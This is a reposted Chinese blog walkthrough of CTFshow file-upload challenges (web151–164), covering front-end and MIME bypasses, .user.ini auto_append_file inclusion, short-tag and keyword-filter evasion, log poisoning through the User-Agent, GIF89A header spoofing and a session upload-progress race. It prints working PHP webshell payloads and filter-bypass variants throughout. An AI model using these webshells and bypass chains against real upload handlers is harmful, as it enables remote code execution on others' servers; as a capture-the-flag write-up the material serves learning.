当前位置:首页 » 《随便一记》 » 正文

CTFSHOW-文件上传_Monica的博客

6 人参与  2022年03月08日 14:16  分类 : 《随便一记》  评论

点击全文阅读


有个很迷的地方:

 当你正常上传一个png文件后,开启代理再次上传,会提示上图的错误,群主说是因为js需要重置dom,开启代理并刷新一下再上传就好。

WEB151

 上传非png文件时会报错,但是bp中没有流量产生,说明为前端过滤

方法:上传test.png(没错,只能是png,gif和jpg都不行)文件,内容为<?php eval($_GET[1]);?>然后bp抓包后修改后缀。访问这个文件RCE即可。

WEB152 

知识点

什么是 MIME Type?

MIME(多用途互联网邮件扩展类型)

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

一、

首先,我们要了解浏览器是如何处理内容的。在浏览器中显示的内容有 HTML、有 XML、有 GIF、还有 Flash ……那么,浏览器是如何区分它们,决定什么内容用什么形式来显示呢?答案是 MIME Type,也就是该资源的媒体类型。

媒体类型通常是通过 HTTP 协议,由 Web 服务器告知浏览器的,更准确地说,是通过 Content-Type 来表示的,例如:

Content-Type: text/HTML

注意,第二行为一个空行,这是必须的,使用这个空行的目的是将MIME信息与真正的数据内容分隔开。

表示内容是 text/HTML 类型,也就是超文本文件。为什么是“text/HTML”而不是“HTML/text”或者别的什么?MIME Type 不是个人指定的,是经过 ietf 组织协商,以 RFC 的形式作为建议的标准发布在网上的,大多数的 Web 服务器和用户代理都会支持这个规范 (顺便说一句,Email 附件的类型也是通过 MIME Type 指定的)。

前端过滤加MIME检查

上传png文件,修改后缀,访问文件RCE即可。

WEB153

知识点

本题考察.user.ini文件的知识

.htaccess和.user.ini配置文件妙用

官方解释

自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 和PHP_INI_ALL模式的 INI 设置可被识别。

具体的配置可以看该链接

也就是里面除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。那么我们就去找我们需要用到配置,

发现
auto_append_file=filename     //一个相当于在每个php文件尾加上 include(“filename”)
auto_prepend_file=filename    //一个相当于文件头加上 include(“filename”)

例子:

//.user.ini
auto_prepend_file=1.png

//1.png
<?php phpinfo();?>

//1.php(任意php文件)

满足这三个文件同一目录下,则相当于在1.php文件开头里插入了包含语句include('1.png');
进行了文件包含,因为1.png里面有php代码,所以经过include之后就会代码执行。所以我们就依次上传即可

另外还发现了这么一条

如果题目在php.ini中设置了open_basedir,那么我们就可以上传.user.ini进行修改open_basedir的值,当然条件比较苛刻。大家有兴趣可以研究研究。

分析:

为了利用auto_append_file,我们首先上传一个带木马的图片,接着上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名。

这样就在每个php文件上包含了我们的木马文件。

方法:

因为有前端和MIME限制。所以我们先上传图片,然后改为.user.ini即可。

内容为auto_append_file=test.png

然后在上传一个图片木马 test.png。

但是这种方式其实是有个前提的,因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。

从前面我们知道,upload目录下有一个index.php文件,,所以我们的图片木马里面的内容就加入到这个index.php里面了,只要使用这个文件即可触发攻击。

或者可以直接在upload/目录下进行给1赋值(访问/upload/  默认访问index.php)。

例如这样:

WEB154

跟上题的步骤一样,只是上传图片木马时上传不上去,经过不断抓包,修改图片木马里面的内容发现是对<xphp做了限制(x为任何内容)

那就只有尝试使用短标签来替换<?php了

知识点:

php4种常见风格标签写法
1:正常写法xml格式
<?php
    echo '1111';
?>


2:短标签
<?
    echo '1111';
?>

5.4 起 <?= 'hello'; === <? echo 'hello';

<?=$a?>
<?=(表达式)?>
就相当于
<?php echo $a?>
<?php echo (表达式)?>
<?需要 php.ini 配置文件中的指令 short_open_tag 打开后才可用,或者在 PHP 编译时加入了 --enable-short-tags 选项。
而自 PHP5.4 起,短格式的 echo 标记 <?= 总会被识别并且合法,而不管 short_open_tag 的设置是什么。


3:asp风格写法
<%
    echo '1111';  
%>

(注释:这种写法在php配置中默认关闭了的,如果要正常输出,需要配置php.ini文件。在配置文件中找到asp_tags=off ,将off改为on。改动配置文件后需要重启apache。)但是在php7之后被移除了


4:长标签风格
<script language="php">

XXXXXX

</script>
在php7之后被移除了

对于该题,我们可用使用<?=(表达式)?>进行绕过,图片内容<?=$_GET[1];?>

剩下的步骤同153

web155

和154一样

web156

在前面的基础上过滤了 []那我们直接用{}来代替

把图片木马内容改为:

<?=eval($_GET{1});?>即可

web157、158

在前面的基础上过滤了{}和分号,那就直接输出flag算了,不搞一句话了。摊牌了,反正知道flag位置

图片木马内容

<?=`tac ../f*`?>

或者

<?=system('tac ../f*')?>

因为有?>闭合所以可以不用;结尾

web159,过滤了括号

<?=`tac ../f*`?>

web160

过滤了括号反引号还有一些关键字,利用日志包含绕过,木马图片内容

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

因为log被过滤了。所以用拼接绕过

上传完.user.ini和木马图片后

访问网站然后修改ua头信息即可

具体操作:

先上传.user.ini文件

上传木马文件。

这里的木马图片其实是一个中间桥梁的作用,可以在.user.ini中直接包含日志文件。

不过这里不能直接写auto_append_file="/var/lo"."g/nginx/access.lo"."g",会解析错误:

可以写成 auto_append_file=/var/lo""g/nginx/access.lo""g

而<?=include"/var/lo"."g/nginx/access.lo"."g"?>可以解析成功。

因为后面是作为PHP文件解析(php字符串拼接的知识),而前面那个是服务器配置文件,语法不同(PHP中可以用.连接字符串这个设定)auto_append_file=/var/lo""g/nginx/access.lo""g可以的原因是环境服务器伪linux,这里是linux字符串拼接的知识。

修改UA,重新访问

然后访问/upload/目录就行了。

web161

方法:在160的基础上增加图片头即可,即 GIF89A

知识点:

文件上传漏洞之getimagesize()类型验证​​​​​​​

getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求,所以可以直接在图片内容开头添加GIF89A。

图片木马的制作 

WEB162

这次把.和flag给ban了,使用session文件包含

还是一样先上传.user.ini ,内容为

GIF89A
auto_append_file=/tmp/sess_monica

这样跳过了中间上传图片木马作为桥梁那部分,在upload/目录下就直接包含了session文件

 

 然后构造一个上传session文件的包

<!DOCTYPE html>
<html>
<body>
<form action="http://c79ecd48-a6ab-4c73-87bc-e76e0f74e434.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

修改cookie,写入内容 

访问upload/目录,即相当于执行include /tmp/sess_monica

设置payload: 

 设置线程数

 开始竞争即可

成功竞争:

​​​​​​​

WEB163

同WEB162

WEB164


点击全文阅读


本文链接:http://zhangshiyu.com/post/35890.html

文件  上传  内容  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1